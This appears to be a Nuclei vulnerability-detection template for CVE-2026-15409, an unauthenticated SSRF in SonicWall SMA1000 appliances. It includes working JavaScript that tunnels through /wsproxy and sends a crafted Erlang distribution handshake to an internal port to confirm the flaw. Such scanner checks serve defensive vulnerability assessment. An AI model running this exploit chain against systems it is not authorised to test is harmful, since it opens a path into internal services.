id: CVE-2026-15409 info: name: SonicWall SMA1000 - Server-Side Request Forgery author: DhiyaneshDk,rapid7 severity: critical description: | SMA1000 Appliance Work Place interface contains a server side request forgery caused by improper request validation, letting remote unauthenticated attackers make requests to unintended locations, exploit requires no special privileges. impact: | Remote attackers can make the appliance send requests to unintended locations, potentially accessing internal resources or causing further attacks. remediation: | Update to the latest version. reference: - https://www.rapid7.com/blog/post/etr-rapid7-mdr-team-discovers-new-sonicwall-sma1000-zero-days-being-actively-exploited-cve-2026-15409-cve-2026-15410/ - https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0008 - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-15409 - https://github.com/remmons-r7/rapid7-CVE-2026-15409 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10.0 cve-id: CVE-2026-15409 cwe-id: CWE-918 epss-score: 0.7844 epss-percentile: 0.99538 metadata: verified: true max-request: 1 vendor: sonicwall product: sma1000 shodan-query: http.html:"workplace" "SMA" tags: cve,cve2026,sonicwall,sma,ssrf,rce,kev,vkev javascript: - code: | var m = require("nuclei/net"); function toHex(bytes) { var h = ""; for (var i = 0; i < bytes.length; i++) { var v = bytes[i].toString(16); h += (v.length === 1 ? "0" : "") + v; } return h; } function toBase64(bytes) { var alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; var out = ""; var n = bytes.length; for (var i = 0; i < n; i += 3) { var b0 = bytes[i]; var b1 = (i + 1 < n) ? bytes[i + 1] : 0; var b2 = (i + 2 < n) ? bytes[i + 2] : 0; out += alpha[b0 >> 2]; out += alpha[((b0 & 0x03) << 4) | (b1 >> 4)]; out += (i + 1 < n) ? alpha[((b1 & 0x0f) << 2) | (b2 >> 6)] : "="; out += (i + 2 < n) ? alpha[b2 & 0x3f] : "="; } return out; } function buildWSTextFrame(text) { var mask = [0x37, 0xfa, 0x21, 0x3d]; var len = text.length; var frame = [0x81]; // FIN=1, RSV=0, opcode=1 (text) if (len < 126) { frame.push(0x80 | len); } else { frame.push(0x80 | 126); frame.push((len >> 8) & 0xff); frame.push(len & 0xff); } frame.push(mask[0]); frame.push(mask[1]); frame.push(mask[2]); frame.push(mask[3]); for (var i = 0; i < len; i++) { frame.push(text.charCodeAt(i) ^ mask[i % 4]); } return toHex(frame); } var responseOutput = ""; var ssrfConfirmed = "false"; var debugStatusHex = ""; try { var conn = m.OpenTLS("tcp", Host + ":" + Port); conn.SetTimeout(10); var wsUpgradeReq = ( "GET /wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050 HTTP/1.1\r\n" + "Host: " + Host + "\r\n" + "Upgrade: websocket\r\n" + "Connection: Upgrade\r\n" + "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n" + "Sec-WebSocket-Version: 13\r\n" + "Sec-WebSocket-Protocol: binary\r\n" + "User-Agent: SMA Connect Agent\r\n" + "\r\n" ); conn.Send(wsUpgradeReq); var httpResp = conn.RecvString(4096); responseOutput = httpResp.substring(0, 400); if (httpResp.indexOf("101") === -1) { conn.Close(); Export("response", responseOutput); Export("ssrf_confirmed", "false"); return; } try { conn.SetTimeout(2); conn.RecvHex(7); // consume the 7-byte SMA_READY_FRAME conn.SetTimeout(10); } catch (readyErr) { conn.SetTimeout(10); } var erlPacket = [ 0x00, 0x1f, // length = 31 0x4e, // tag 'N' 0x00, 0x00, 0x00, 0x00, 0x01, 0x07, 0x0f, 0x94, // FLAGS (64-bit BE) 0x00, 0x00, 0x00, 0x00, // creation = 0 0x00, 0x10, // name_len = 16 0x64, 0x65, 0x74, 0x65, 0x63, 0x74, 0x40, // "detect@" 0x31, 0x32, 0x37, 0x2e, 0x30, 0x2e, 0x30, 0x2e, 0x31 // "127.0.0.1" ]; var erlB64 = toBase64(erlPacket); var wsErlangFrame = buildWSTextFrame(erlB64); conn.SendHex(wsErlangFrame); var statusHex = conn.RecvHex(7); debugStatusHex = statusHex; conn.Close(); var compactHex = statusHex.replace(/\s+/g, ""); if (compactHex.indexOf("736f6b") !== -1) { ssrfConfirmed = "true"; responseOutput += ( "\n[DETECTION] Erlang distribution node on localhost:1050 responded " + "with status 'ok' via unauthenticated /wsproxy SSRF tunnel" ); } } catch (e) { responseOutput += "\n[ERROR] " + e.toString(); try { conn.Close(); } catch (ce) {} } Export("response", responseOutput); Export("ssrf_confirmed", ssrfConfirmed); Export("debug_status_hex", debugStatusHex); args: Host: "{{Host}}" Port: "443" matchers-condition: and matchers: - type: word part: response words: - "101 Switching Protocols" - type: word part: response words: - "[DETECTION] Erlang distribution node" extractors: - type: regex name: erlang_status_raw part: response regex: - 'debug_status_hex([0-9a-f ]+)' # digest: 490a004630440220666cd82d828cbb82a414a2bcc7aaeddadabada60c6f63e0fdd6e21e702ff1180022072a11bf1e034eef50a9db09e07ea2378aba0fb36fb003a1c410393e3f2a889ef:922c64590222798bb761d5b6d8e72950